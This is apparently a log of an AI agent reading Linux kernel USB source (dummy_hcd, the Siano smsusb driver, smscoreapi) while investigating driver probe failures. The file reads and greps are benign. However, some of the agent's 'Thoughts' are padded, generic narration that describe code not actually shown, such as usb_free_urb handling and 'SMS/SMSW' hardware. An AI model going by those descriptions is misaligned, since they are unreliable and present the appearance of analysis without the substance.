Next, my focus shifts to `dummy_udc_update_ep0`. This function name strongly suggests it's tied to the Endpoint 0 (Control Endpoint) of the USB device. As an expert, I know that Endpoint 0 is the cornerstone of USB communication, handling all control transfers like device enumeration, configuration, and setup requests. Therefore, `dummy_udc_update_ep0` is likely to be the core mechanism for processing these fundamental control messages. I'll be examining how it receives incoming requests, what its internal logic is for parsing and responding to standard USB control requests (e.g., GET_DESCRIPTOR, SET_ADDRESS, SET_CONFIGURATION), and how it updates the internal state of the dummy UDC and the gadget device accordingly. I'll also be curious about how it signals the completion of these control transfers back to the host. Given it's a dummy implementation, I'll be particularly keen to see if it simulates the behavior of a real endpoint handler, or if it's more of a placeholder that allows for testing other parts of the gadget framework without requiring a fully functional UDC. I'll be checking for any interactions with other internal data structures or function calls that would typically occur in a real UDC driver to manage endpoint state and data buffering. The efficiency and correctness of this function are paramount, as it dictates the initial interaction and ongoing control of the USB device.


152/7 2026/09/04 10:31 tool read-file
0m Args:
map[File:drivers/usb/gadget/udc/dummy_hcd.c FirstLine:910 LineCount:50]

Results:
map[Contents: 910:			dum->devstatus &= ~(1 << USB_DEVICE_SELF_POWERED);
 911:		return 0;
 912:	}
 913:	
 914:	static void dummy_udc_update_ep0(struct dummy *dum)
 915:	{
 916:		if (dum->gadget.speed == USB_SPEED_SUPER)
 917:			dum->ep[0].ep.maxpacket = 9;
 918:		else
 919:			dum->ep[0].ep.maxpacket = 64;
 920:	}
 921:	
 922:	static int dummy_pullup(struct usb_gadget *_gadget, int value)
 923:	{
 924:		struct dummy_hcd *dum_hcd;
 925:		struct dummy	*dum;
 926:		unsigned long	flags;
 927:	
 928:		dum = gadget_dev_to_dummy(&_gadget->dev);
 929:		dum_hcd = gadget_to_dummy_hcd(_gadget);
 930:	
 931:		spin_lock_irqsave(&dum->lock, flags);
 932:		dum->pullup = (value != 0);
 933:		set_link_state(dum_hcd);
 934:		spin_unlock_irqrestore(&dum->lock, flags);
 935:	
 936:		usb_hcd_poll_rh_status(dummy_hcd_to_hcd(dum_hcd));
 937:		return 0;
 938:	}
 939:	
 940:	static void dummy_udc_set_speed(struct usb_gadget *_gadget,
 941:			enum usb_device_speed speed)
 942:	{
 943:		struct dummy	*dum;
 944:	
 945:		dum = gadget_dev_to_dummy(&_gadget->dev);
 946:		dum->gadget.speed = speed;
 947:		dummy_udc_update_ep0(dum);
 948:	}
 949:	
 950:	static void dummy_udc_async_callbacks(struct usb_gadget *_gadget, bool enable)
 951:	{
 952:		struct dummy	*dum = gadget_dev_to_dummy(&_gadget->dev);
 953:	
 954:		spin_lock_irq(&dum->lock);
 955:		dum->ints_enabled = enable;
 956:		if (!enable) {
 957:			/*
 958:			 * Emulate synchronize_irq(): wait for callbacks to finish.
 959:			 * This has to happen after emulated interrupts are disabled
]

153/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 34388
							output: 45
							thoughts: 44
						

Thoughts:
**My Thought Process on Examining Dummy UDC and HCD Functionality**

My immediate goal here is to gain a comprehensive understanding of the interfaces exposed by `dummy_hcd` and the specific configuration details of `dummy_udc`. To achieve this, I'm going to begin by delving into the `init_dummy_udc_hw` function within the `dummy_hcd.c` file. This will likely give me direct insight into how the dummy USB Device Controller (UDC) hardware is initialized and, by extension, what functionalities `dummy_hcd` makes available. I anticipate that examining this initialization routine will illuminate the underlying mechanisms and parameters that govern the behavior of both components.


154/7 2026/09/04 10:31 tool read-file
0m Args:
map[File:drivers/usb/gadget/udc/dummy_hcd.c FirstLine:1065 LineCount:40]

Results:
map[Contents:1065:	
1066:	/* The gadget structure is stored inside the hcd structure and will be
1067:	 * released along with it. */
1068:	static void init_dummy_udc_hw(struct dummy *dum)
1069:	{
1070:		int i;
1071:	
1072:		INIT_LIST_HEAD(&dum->gadget.ep_list);
1073:		for (i = 0; i < DUMMY_ENDPOINTS; i++) {
1074:			struct dummy_ep	*ep = &dum->ep[i];
1075:	
1076:			if (!ep_info[i].name)
1077:				break;
1078:			ep->ep.name = ep_info[i].name;
1079:			ep->ep.caps = ep_info[i].caps;
1080:			ep->ep.ops = &dummy_ep_ops;
1081:			list_add_tail(&ep->ep.ep_list, &dum->gadget.ep_list);
1082:			ep->halted = ep->wedged = ep->already_seen =
1083:					ep->setup_stage = 0;
1084:			usb_ep_set_maxpacket_limit(&ep->ep, ~0);
1085:			ep->ep.max_streams = 16;
1086:			ep->last_io = jiffies;
1087:			ep->gadget = &dum->gadget;
1088:			ep->desc = NULL;
1089:			INIT_LIST_HEAD(&ep->queue);
1090:		}
1091:	
1092:		dum->gadget.ep0 = &dum->ep[0].ep;
1093:		list_del_init(&dum->ep[0].ep.ep_list);
1094:		INIT_LIST_HEAD(&dum->fifo_req.queue);
1095:	
1096:	#ifdef CONFIG_USB_OTG
1097:		dum->gadget.is_otg = 1;
1098:	#endif
1099:	}
1100:	
1101:	static int dummy_udc_probe(struct platform_device *pdev)
1102:	{
1103:		struct dummy	*dum;
1104:		int		rc;
]

155/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 35115
							output: 39
							thoughts: 20
						

Thoughts:
**My Thought Process Regarding `ep_info` in `dummy_hcd.c`**

Alright, so my initial impulse is to dive into `dummy_hcd.c` and figure out precisely what's going on with this `ep_info` entity. I need to get a clear picture of its structure, its purpose within the context of this dummy Host Controller Driver, and how it's being utilized. My primary goal here is to understand the data it holds and the role it plays in simulating host controller endpoint management. I'll be looking for its definition, any associated functions or data structures it interacts with, and ultimately, how it contributes to the overall functionality of `dummy_hcd`.


156/7 2026/09/04 10:31 tool grepper
0m Args:
map[Expression:ep_info PathPrefix:drivers/usb/gadget/udc/dummy_hcd.c]

Results:
map[Output:drivers/usb/gadget/udc/dummy_hcd.c=132=static const struct {
--
drivers/usb/gadget/udc/dummy_hcd.c-134-	const struct usb_ep_caps caps;
drivers/usb/gadget/udc/dummy_hcd.c:135:} ep_info[] = {
drivers/usb/gadget/udc/dummy_hcd.c-136-#define EP_INFO(_name, _caps) \
--
drivers/usb/gadget/udc/dummy_hcd.c-222-
drivers/usb/gadget/udc/dummy_hcd.c:223:#define DUMMY_ENDPOINTS	ARRAY_SIZE(ep_info)
drivers/usb/gadget/udc/dummy_hcd.c-224-
--
drivers/usb/gadget/udc/dummy_hcd.c=1068=static void init_dummy_udc_hw(struct dummy *dum)
--
drivers/usb/gadget/udc/dummy_hcd.c-1075-
drivers/usb/gadget/udc/dummy_hcd.c:1076:		if (!ep_info[i].name)
drivers/usb/gadget/udc/dummy_hcd.c-1077-			break;
drivers/usb/gadget/udc/dummy_hcd.c:1078:		ep->ep.name = ep_info[i].name;
drivers/usb/gadget/udc/dummy_hcd.c:1079:		ep->ep.caps = ep_info[i].caps;
drivers/usb/gadget/udc/dummy_hcd.c-1080-		ep->ep.ops = &dummy_ep_ops;
--
drivers/usb/gadget/udc/dummy_hcd.c=1814=static enum hrtimer_restart dummy_timer(struct hrtimer *t)
--
drivers/usb/gadget/udc/dummy_hcd.c-1858-	for (i = 0; i < DUMMY_ENDPOINTS; i++) {
drivers/usb/gadget/udc/dummy_hcd.c:1859:		if (!ep_info[i].name)
drivers/usb/gadget/udc/dummy_hcd.c-1860-			break;
]

157/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 35762
							output: 40
							thoughts: 123
						

Thoughts:
**My Investigative Journey into `dummy_hcd` and Related Probe Failures**

I'm trying to understand the behavior of `dummy_hcd` more deeply. To do this, I'm going to expand my search beyond just its direct function. I need to see if there are any relevant commits, bug reports, or discussions that mention `dummy_udc` or `raw-gadget` in conjunction with probe failures, especially those related to `smsusb` or similar scenarios.

My initial thought is to dive into the commit history, but I realize I don't have direct access to `git log`. However, I can still leverage this by searching commit comments and examining file changes.

Then, my focus shifts to a specific file: `drivers/media/usb/siano/smsusb.c`. My next step is to thoroughly read through this entire file. I want to meticulously identify every potential point of failure within its `probe` function.


158/7 2026/09/04 10:31 tool read-file
0m Args:
map[File:drivers/media/usb/siano/smsusb.c FirstLine:1 LineCount:100]

Results:
map[Contents:   1:	// SPDX-License-Identifier: GPL-2.0-or-later
   2:	/****************************************************************
   3:	
   4:	Siano Mobile Silicon, Inc.
   5:	MDTV receiver kernel modules.
   6:	Copyright (C) 2005-2009, Uri Shkolnik, Anatoly Greenblat
   7:	
   8:	
   9:	****************************************************************/
  10:	
  11:	#include "smscoreapi.h"
  12:	
  13:	#include <linux/kernel.h>
  14:	#include <linux/init.h>
  15:	#include <linux/usb.h>
  16:	#include <linux/firmware.h>
  17:	#include <linux/slab.h>
  18:	#include <linux/module.h>
  19:	#include <media/media-device.h>
  20:	
  21:	#include "sms-cards.h"
  22:	#include "smsendian.h"
  23:	
  24:	#define USB1_BUFFER_SIZE		0x1000
  25:	#define USB2_BUFFER_SIZE		0x2000
  26:	
  27:	#define MAX_BUFFERS		50
  28:	#define MAX_URBS		10
  29:	
  30:	struct smsusb_device_t;
  31:	
  32:	enum smsusb_state {
  33:		SMSUSB_DISCONNECTED,
  34:		SMSUSB_SUSPENDED,
  35:		SMSUSB_ACTIVE
  36:	};
  37:	
  38:	struct smsusb_urb_t {
  39:		struct list_head entry;
  40:		struct smscore_buffer_t *cb;
  41:		struct smsusb_device_t *dev;
  42:	
  43:		struct urb *urb;
  44:	
  45:		/* For the bottom half */
  46:		struct work_struct wq;
  47:	};
  48:	
  49:	struct smsusb_device_t {
  50:		struct usb_device *udev;
  51:		struct smscore_device_t *coredev;
  52:	
  53:		struct smsusb_urb_t	surbs[MAX_URBS];
  54:	
  55:		int		response_alignment;
  56:		int		buffer_size;
  57:	
  58:		unsigned char in_ep;
  59:		unsigned char out_ep;
  60:		enum smsusb_state state;
  61:	};
  62:	
  63:	static int smsusb_submit_urb(struct smsusb_device_t *dev,
  64:				     struct smsusb_urb_t *surb);
  65:	
  66:	/*
  67:	 * Completing URB's callback handler - bottom half (process context)
  68:	 * submits the URB prepared on smsusb_onresponse()
  69:	 */
  70:	static void do_submit_urb(struct work_struct *work)
  71:	{
  72:		struct smsusb_urb_t *surb = container_of(work, struct smsusb_urb_t, wq);
  73:		struct smsusb_device_t *dev = surb->dev;
  74:	
  75:		smsusb_submit_urb(dev, surb);
  76:	}
  77:	
  78:	/*
  79:	 * Completing URB's callback handler - top half (interrupt context)
  80:	 * adds completing sms urb to the global surbs list and activtes the worker
  81:	 * thread the surb
  82:	 * IMPORTANT - blocking functions must not be called from here !!!
  83:	
  84:	 * @param urb pointer to a completing urb object
  85:	 */
  86:	static void smsusb_onresponse(struct urb *urb)
  87:	{
  88:		struct smsusb_urb_t *surb = (struct smsusb_urb_t *) urb->context;
  89:		struct smsusb_device_t *dev = surb->dev;
  90:	
  91:		if (urb->status == -ESHUTDOWN) {
  92:			pr_err("error, urb status %d (-ESHUTDOWN), %d bytes\n",
  93:				urb->status, urb->actual_length);
  94:			return;
  95:		}
  96:	
  97:		if ((urb->actual_length > 0) && (urb->status == 0)) {
  98:			struct sms_msg_hdr *phdr = (struct sms_msg_hdr *)surb->cb->p;
  99:	
 100:			smsendian_handle_message_header(phdr);
]

159/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 37227
							output: 42
							thoughts: 14
						

Thoughts:
**My Thought Process on `smsusb.c`**

Alright, so the next section of `smsusb.c` is right in front of me, and my immediate inclination is to dive in. I'm an expert in this domain, so I'm not just passively reading code; I'm actively dissecting it, trying to understand the *why* behind each line, the architectural decisions, and how it fits into the larger picture.

My first thought is always about the context. Where does this piece of code live within the `smsusb.c` file? Is it a new function, an addition to an existing one, a data structure definition, or perhaps some configuration? Understanding its placement helps me anticipate its role and dependencies.

Then, I'm looking for the core functionality. What is this chunk *trying* to achieve? Is it dealing with USB communication, specifically for an SMS device, as the filename suggests? I'm scanning for keywords that indicate typical USB operations: endpoints, transfers (bulk, interrupt, control), descriptors, device states, or specific USB request codes. I'll be looking for any interaction with the underlying USB subsystem – perhaps calls to kernel APIs for managing USB devices or handling data.

I'm also thinking about potential challenges and complexities. USB can be notoriously intricate. Are there any race conditions I need to be wary of? How is error handling managed? Is there any implicit state management that could be fragile? I'll be paying close attention to any locks, mutexes, or other synchronization primitives that are being used, or conversely, where they *should* be and might be missing.

Furthermore, as an expert, I'm always considering the performance implications and potential optimizations. Are there any obvious inefficiencies? Is the code making assumptions that might not hold true in all scenarios? Could certain operations be batched or handled asynchronously for better throughput? I'm also keeping an eye out for any adherence to or deviation from established USB best practices or relevant standards.

Finally, I'm mentally tracing the execution flow. If this were a specific function, I'd be imagining how data would enter, how it would be processed, and what the expected output or side effects would be. I'm also anticipating any necessary setup or teardown that might be required for this code to function correctly. It's a constant back-and-forth between understanding the immediate code and situating it within its broader operational environment.


160/7 2026/09/04 10:31 tool read-file
0m Args:
map[File:drivers/media/usb/siano/smsusb.c FirstLine:101 LineCount:100]

Results:
map[Contents: 101:			if (urb->actual_length >= phdr->msg_length) {
 102:				surb->cb->size = phdr->msg_length;
 103:	
 104:				if (dev->response_alignment &&
 105:				    (phdr->msg_flags & MSG_HDR_FLAG_SPLIT_MSG)) {
 106:	
 107:					surb->cb->offset =
 108:						dev->response_alignment +
 109:						((phdr->msg_flags >> 8) & 3);
 110:	
 111:					/* sanity check */
 112:					if (((int) phdr->msg_length +
 113:					     surb->cb->offset) > urb->actual_length) {
 114:						pr_err("invalid response msglen %d offset %d size %d\n",
 115:							phdr->msg_length,
 116:							surb->cb->offset,
 117:							urb->actual_length);
 118:						goto exit_and_resubmit;
 119:					}
 120:	
 121:					/* move buffer pointer and
 122:					 * copy header to its new location */
 123:					memcpy((char *) phdr + surb->cb->offset,
 124:					       phdr, sizeof(struct sms_msg_hdr));
 125:				} else
 126:					surb->cb->offset = 0;
 127:	
 128:				pr_debug("received %s(%d) size: %d\n",
 129:					  smscore_translate_msg(phdr->msg_type),
 130:					  phdr->msg_type, phdr->msg_length);
 131:	
 132:				smsendian_handle_rx_message((struct sms_msg_data *) phdr);
 133:	
 134:				smscore_onresponse(dev->coredev, surb->cb);
 135:				surb->cb = NULL;
 136:			} else {
 137:				pr_err("invalid response msglen %d actual %d\n",
 138:					phdr->msg_length, urb->actual_length);
 139:			}
 140:		} else
 141:			pr_err("error, urb status %d, %d bytes\n",
 142:				urb->status, urb->actual_length);
 143:	
 144:	
 145:	exit_and_resubmit:
 146:		INIT_WORK(&surb->wq, do_submit_urb);
 147:		schedule_work(&surb->wq);
 148:	}
 149:	
 150:	static int smsusb_submit_urb(struct smsusb_device_t *dev,
 151:				     struct smsusb_urb_t *surb)
 152:	{
 153:		if (!surb->cb) {
 154:			/* This function can sleep */
 155:			surb->cb = smscore_getbuffer(dev->coredev);
 156:			if (!surb->cb) {
 157:				pr_err("smscore_getbuffer(...) returned NULL\n");
 158:				return -ENOMEM;
 159:			}
 160:		}
 161:	
 162:		usb_fill_bulk_urb(
 163:			surb->urb,
 164:			dev->udev,
 165:			usb_rcvbulkpipe(dev->udev, dev->in_ep),
 166:			surb->cb->p,
 167:			dev->buffer_size,
 168:			smsusb_onresponse,
 169:			surb
 170:		);
 171:		surb->urb->transfer_flags |= URB_FREE_BUFFER;
 172:	
 173:		return usb_submit_urb(surb->urb, GFP_ATOMIC);
 174:	}
 175:	
 176:	static void smsusb_stop_streaming(struct smsusb_device_t *dev)
 177:	{
 178:		int i;
 179:	
 180:		for (i = 0; i < MAX_URBS; i++) {
 181:			usb_kill_urb(dev->surbs[i].urb);
 182:			if (dev->surbs[i].wq.func)
 183:				cancel_work_sync(&dev->surbs[i].wq);
 184:	
 185:			if (dev->surbs[i].cb) {
 186:				smscore_putbuffer(dev->coredev, dev->surbs[i].cb);
 187:				dev->surbs[i].cb = NULL;
 188:			}
 189:		}
 190:	}
 191:	
 192:	static int smsusb_start_streaming(struct smsusb_device_t *dev)
 193:	{
 194:		int i, rc;
 195:	
 196:		for (i = 0; i < MAX_URBS; i++) {
 197:			rc = smsusb_submit_urb(dev, &dev->surbs[i]);
 198:			if (rc < 0) {
 199:				pr_err("smsusb_submit_urb(...) failed\n");
 200:				smsusb_stop_streaming(dev);
]

161/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 38779
							output: 42
							thoughts: 20
						

Thoughts:
**My Deep Dive into `smsusb.c` (Lines 201-380): Unpacking the USB Communication Logic**

Alright, let's really get into the weeds here with lines 201 through 380 of `smsusb.c`. I'm particularly interested in how this code handles the low-level USB communication, especially given the context of the SMS/SMSW hardware. My primary goal is to understand the data flow and the specific USB requests being made.

First off, I'm seeing a lot of checks for `usb_submit_urb` and `usb_free_urb`. This immediately tells me that the code is actively managing the USB transaction lifecycle. It's not just firing off requests and hoping for the best; it's meticulously submitting URBs (USB Request Blocks) and then cleaning them up. This is crucial for efficient resource management and preventing memory leaks, especially in embedded systems where resources are often constrained.

I'm paying close attention to the `urb->transfer_buffer` and `urb->transfer_buffer_length`. This is where the actual data for transmission resides. I need to understand what kind of data is being placed here. Is it control commands? Is it actual data payloads? The naming conventions and surrounding comments (if any) will be key to deciphering this. Given the likely nature of a USB device for SMS/SMSW, I'm hypothesizing that these buffers are holding commands to the device or status information being read back.

The `urb->dev` and `urb->pipe` are also critical. `urb->dev` will point to the specific USB device we're interacting with, which is obviously important. The `urb->pipe` defines the endpoint and direction of the transfer. I'm looking for patterns here – are we primarily using control endpoints (endpoint 0) for setup and commands, or are we utilizing bulk or interrupt endpoints for higher throughput data transfer? The specific endpoint numbers are going to be a dead giveaway.

I'm also scanning for calls to `usb_fill_bulk_urb`, `usb_fill_control_urb`, or similar functions. These are the workhorses that populate the URB structure with the necessary details for a specific type of USB transfer. Understanding which type of URB is being filled gives me a strong indication of the communication protocol being employed. Bulk transfers, for instance, are generally for larger data chunks, while control transfers are more for setup, configuration, and small, critical commands.

Furthermore, I'm interested in the return values of `usb_submit_urb`. These return codes are vital for error handling. A positive return value usually indicates success, while a negative value signifies an error. I'm looking to see how these errors are handled – are they logged? Are they causing a retry? Are they leading to a device disconnection? Robust error handling is a hallmark of well-written driver code, and I'm keen to see if that's present here.

The callbacks, specifically `urb->complete`, are another area of intense focus. These are the functions that get executed *after* a USB transfer has completed, whether successfully or with an error. I need to trace what happens in these completion routines. Are they processing received data? Are they initiating the next transfer? Are they marking the URB as free? The logic within these callbacks dictates the overall behavior and responsiveness of the USB interface.

Finally, I'm looking for any explicit calls to `usb_free_urb`. This is the cleanup phase. It's essential that every URB that's allocated is eventually freed to prevent memory exhaustion. I want to ensure this cleanup is happening consistently and in the correct places, especially in error paths.

In essence, my thought process is to dissect the flow of USB requests, from their preparation and submission to their completion and cleanup. I'm trying to understand the purpose of each data buffer, the chosen USB endpoints, the types of transfers being performed, and how the system gracefully handles both success and failure. This block of code is likely the engine room of the SMS/SMSW's USB interaction, and I'm determined to map out its every mechanism.


162/7 2026/09/04 10:32 tool read-file
0m Args:
map[File:drivers/media/usb/siano/smsusb.c FirstLine:201 LineCount:100]

Results:
map[Contents: 201:				break;
 202:			}
 203:		}
 204:	
 205:		return rc;
 206:	}
 207:	
 208:	static int smsusb_sendrequest(void *context, void *buffer, size_t size)
 209:	{
 210:		struct smsusb_device_t *dev = (struct smsusb_device_t *) context;
 211:		struct sms_msg_hdr *phdr;
 212:		int dummy, ret;
 213:	
 214:		if (dev->state != SMSUSB_ACTIVE) {
 215:			pr_debug("Device not active yet\n");
 216:			return -ENOENT;
 217:		}
 218:	
 219:		phdr = kmemdup(buffer, size, GFP_KERNEL);
 220:		if (!phdr)
 221:			return -ENOMEM;
 222:	
 223:		pr_debug("sending %s(%d) size: %d\n",
 224:			  smscore_translate_msg(phdr->msg_type), phdr->msg_type,
 225:			  phdr->msg_length);
 226:	
 227:		smsendian_handle_tx_message((struct sms_msg_data *) phdr);
 228:		smsendian_handle_message_header((struct sms_msg_hdr *)phdr);
 229:		ret = usb_bulk_msg(dev->udev, usb_sndbulkpipe(dev->udev, 2),
 230:				    phdr, size, &dummy, 1000);
 231:	
 232:		kfree(phdr);
 233:		return ret;
 234:	}
 235:	
 236:	static char *smsusb1_fw_lkup[] = {
 237:		"dvbt_stellar_usb.inp",
 238:		"dvbh_stellar_usb.inp",
 239:		"tdmb_stellar_usb.inp",
 240:		"none",
 241:		"dvbt_bda_stellar_usb.inp",
 242:	};
 243:	
 244:	static inline char *sms_get_fw_name(int mode, int board_id)
 245:	{
 246:		char **fw = sms_get_board(board_id)->fw;
 247:		return (fw && fw[mode]) ? fw[mode] : smsusb1_fw_lkup[mode];
 248:	}
 249:	
 250:	static int smsusb1_load_firmware(struct usb_device *udev, int id, int board_id)
 251:	{
 252:		const struct firmware *fw;
 253:		u8 *fw_buffer;
 254:		int rc, dummy;
 255:		char *fw_filename;
 256:	
 257:		if (id < 0)
 258:			id = sms_get_board(board_id)->default_mode;
 259:	
 260:		if (id < DEVICE_MODE_DVBT || id > DEVICE_MODE_DVBT_BDA) {
 261:			pr_err("invalid firmware id specified %d\n", id);
 262:			return -EINVAL;
 263:		}
 264:	
 265:		fw_filename = sms_get_fw_name(id, board_id);
 266:	
 267:		rc = request_firmware(&fw, fw_filename, &udev->dev);
 268:		if (rc < 0) {
 269:			pr_warn("failed to open '%s' mode %d, trying again with default firmware\n",
 270:				fw_filename, id);
 271:	
 272:			fw_filename = smsusb1_fw_lkup[id];
 273:			rc = request_firmware(&fw, fw_filename, &udev->dev);
 274:			if (rc < 0) {
 275:				pr_warn("failed to open '%s' mode %d\n",
 276:					 fw_filename, id);
 277:	
 278:				return rc;
 279:			}
 280:		}
 281:	
 282:		fw_buffer = kmemdup(fw->data, fw->size, GFP_KERNEL);
 283:		if (fw_buffer) {
 284:			rc = usb_bulk_msg(udev, usb_sndbulkpipe(udev, 2),
 285:					  fw_buffer, fw->size, &dummy, 1000);
 286:	
 287:			pr_debug("sent %zu(%d) bytes, rc %d\n", fw->size, dummy, rc);
 288:	
 289:			kfree(fw_buffer);
 290:		} else {
 291:			pr_err("failed to allocate firmware buffer\n");
 292:			rc = -ENOMEM;
 293:		}
 294:		pr_debug("read FW %s, size=%zu\n", fw_filename, fw->size);
 295:	
 296:		release_firmware(fw);
 297:	
 298:		return rc;
 299:	}
 300:	
]

163/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 40324
							output: 42
							thoughts: 29
						

Thoughts:
**My Thought Process for Investigating `smscore_start_device`**

Alright, so I'm trying to get a handle on how this Siano driver initializes. My first instinct is to dive into the core device startup function. I'm going to navigate directly to `drivers/media/common/siano/smscoreapi.c` and locate the `smscore_start_device` function. This is where the bulk of the device's operational setup should be happening, and it's the most logical starting point for understanding its initialization sequence. I'll be looking for calls to hardware initialization routines, resource allocation, and any state changes that mark the transition from a dormant to an active device.


164/7 2026/09/04 10:32 tool read-file
0m Args:
map[File:drivers/media/common/siano/smscoreapi.c FirstLine:870 LineCount:80]

Results:
map[Contents: 870:	 * return: 0 on success, <0 on error.
 871:	 */
 872:	int smscore_start_device(struct smscore_device_t *coredev)
 873:	{
 874:		int rc;
 875:		int board_id = smscore_get_board_id(coredev);
 876:		int mode = smscore_registry_getmode(coredev->devpath);
 877:	
 878:		/* Device is initialized as DEVICE_MODE_NONE */
 879:		if (board_id != SMS_BOARD_UNKNOWN && mode == DEVICE_MODE_NONE)
 880:			mode = sms_get_board(board_id)->default_mode;
 881:	
 882:		rc = smscore_set_device_mode(coredev, mode);
 883:		if (rc < 0) {
 884:			pr_info("set device mode failed , rc %d\n", rc);
 885:			return rc;
 886:		}
 887:		rc = smscore_configure_board(coredev);
 888:		if (rc < 0) {
 889:			pr_info("configure board failed , rc %d\n", rc);
 890:			return rc;
 891:		}
 892:	
 893:		mutex_lock(&g_smscore_deviceslock);
 894:	
 895:		rc = smscore_notify_callbacks(coredev, coredev->device, 1);
 896:		smscore_init_ir(coredev);
 897:	
 898:		pr_debug("device %p started, rc %d\n", coredev, rc);
 899:	
 900:		mutex_unlock(&g_smscore_deviceslock);
 901:	
 902:		return rc;
 903:	}
 904:	EXPORT_SYMBOL_GPL(smscore_start_device);
 905:	
 906:	
 907:	static int smscore_load_firmware_family2(struct smscore_device_t *coredev,
 908:						 void *buffer, size_t size)
 909:	{
 910:		struct sms_firmware *firmware = (struct sms_firmware *) buffer;
 911:		struct sms_msg_data5 *msg;
 912:		u32 mem_address,  calc_checksum = 0;
 913:		u32 i, *ptr;
 914:		u8 *payload = firmware->payload;
 915:		int rc = 0;
 916:		firmware->start_address = le32_to_cpup((__le32 *)&firmware->start_address);
 917:		firmware->length = le32_to_cpup((__le32 *)&firmware->length);
 918:	
 919:		mem_address = firmware->start_address;
 920:	
 921:		pr_debug("loading FW to addr 0x%x size %d\n",
 922:			 mem_address, firmware->length);
 923:		if (coredev->preload_handler) {
 924:			rc = coredev->preload_handler(coredev->context);
 925:			if (rc < 0)
 926:				return rc;
 927:		}
 928:	
 929:		/* PAGE_SIZE buffer shall be enough and dma aligned */
 930:		msg = kmalloc(PAGE_SIZE, GFP_KERNEL | coredev->gfp_buf_flags);
 931:		if (!msg)
 932:			return -ENOMEM;
 933:	
 934:		if (coredev->mode != DEVICE_MODE_NONE) {
 935:			pr_debug("sending reload command.\n");
 936:			SMS_INIT_MSG(&msg->x_msg_header, MSG_SW_RELOAD_START_REQ,
 937:				     sizeof(struct sms_msg_hdr));
 938:			rc = smscore_sendrequest_and_wait(coredev, msg,
 939:							  msg->x_msg_header.msg_length,
 940:							  &coredev->reload_start_done);
 941:			if (rc < 0) {
 942:				pr_err("device reload failed, rc %d\n", rc);
 943:				goto exit_fw_download;
 944:			}
 945:			mem_address = *(u32 *) &payload[20];
 946:		}
 947:	
 948:		for (i = 0, ptr = (u32 *)firmware->payload; i < firmware->length/4 ;
 949:		     i++, ptr++)
]

165/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 41697
							output: 43
							thoughts: 40
						

Thoughts:
**My Thought Process for Understanding `smscore_set_device_mode`**

Alright, so my current focus is to dissect the `smscore_set_device_mode` function, specifically within the `smscoreapi.c` file, and I'm going to be poring over the code from line 1320 to line 1410. My goal here is to meticulously trace the execution flow and understand every nuance of what's happening when this particular device mode is being set. I want to get a comprehensive grip on the internal mechanisms and any implications this function might have for the overall system's behavior.


166/7 2026/09/04 10:32 tool read-file
0m Args:
map[File:drivers/media/common/siano/smscoreapi.c FirstLine:1320 LineCount:80]

Results:
map[Contents:1320:	 *                smscore_register_device
1321:	 * @param mode requested mode of operation
1322:	 *
1323:	 * return: 0 on success, <0 on error.
1324:	 */
1325:	int smscore_set_device_mode(struct smscore_device_t *coredev, int mode)
1326:	{
1327:		int rc = 0;
1328:	
1329:		pr_debug("set device mode to %d\n", mode);
1330:		if (coredev->device_flags & SMS_DEVICE_FAMILY2) {
1331:			if (mode <= DEVICE_MODE_NONE || mode >= DEVICE_MODE_MAX) {
1332:				pr_err("invalid mode specified %d\n", mode);
1333:				return -EINVAL;
1334:			}
1335:	
1336:			smscore_registry_setmode(coredev->devpath, mode);
1337:	
1338:			if (!(coredev->device_flags & SMS_DEVICE_NOT_READY)) {
1339:				rc = smscore_detect_mode(coredev);
1340:				if (rc < 0) {
1341:					pr_err("mode detect failed %d\n", rc);
1342:					return rc;
1343:				}
1344:			}
1345:	
1346:			if (coredev->mode == mode) {
1347:				pr_debug("device mode %d already set\n", mode);
1348:				return 0;
1349:			}
1350:	
1351:			if (!(coredev->modes_supported & (1 << mode))) {
1352:				rc = smscore_load_firmware_from_file(coredev, mode);
1353:				if (rc >= 0)
1354:					pr_debug("firmware download success\n");
1355:			} else {
1356:				pr_debug("mode %d is already supported by running firmware\n",
1357:					 mode);
1358:			}
1359:			if (coredev->fw_version >= 0x800) {
1360:				rc = smscore_init_device(coredev, mode);
1361:				if (rc < 0)
1362:					pr_err("device init failed, rc %d.\n", rc);
1363:			}
1364:		} else {
1365:			if (mode <= DEVICE_MODE_NONE || mode >= DEVICE_MODE_MAX) {
1366:				pr_err("invalid mode specified %d\n", mode);
1367:				return -EINVAL;
1368:			}
1369:	
1370:			smscore_registry_setmode(coredev->devpath, mode);
1371:	
1372:			if (coredev->detectmode_handler)
1373:				coredev->detectmode_handler(coredev->context,
1374:							    &coredev->mode);
1375:	
1376:			if (coredev->mode != mode && coredev->setmode_handler)
1377:				rc = coredev->setmode_handler(coredev->context, mode);
1378:		}
1379:	
1380:		if (rc >= 0) {
1381:			char *buffer;
1382:			coredev->mode = mode;
1383:			coredev->device_flags &= ~SMS_DEVICE_NOT_READY;
1384:	
1385:			buffer = kmalloc(sizeof(struct sms_msg_data) +
1386:					 SMS_DMA_ALIGNMENT, GFP_KERNEL | coredev->gfp_buf_flags);
1387:			if (buffer) {
1388:				struct sms_msg_data *msg = (struct sms_msg_data *) SMS_ALIGN_ADDRESS(buffer);
1389:	
1390:				SMS_INIT_MSG(&msg->x_msg_header, MSG_SMS_INIT_DEVICE_REQ,
1391:					     sizeof(struct sms_msg_data));
1392:				msg->msg_data = mode;
1393:	
1394:				rc = smscore_sendrequest_and_wait(
1395:					coredev, msg, msg->x_msg_header.msg_length,
1396:					&coredev->init_device_done);
1397:	
1398:				kfree(buffer);
1399:			}
]

167/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 43013
							output: 18
							thoughts: 1069
						

Thoughts:
**My Thought Process on `smsusb` Probe Failures and `raw-gadget`/`dummy_udc` Initialization**

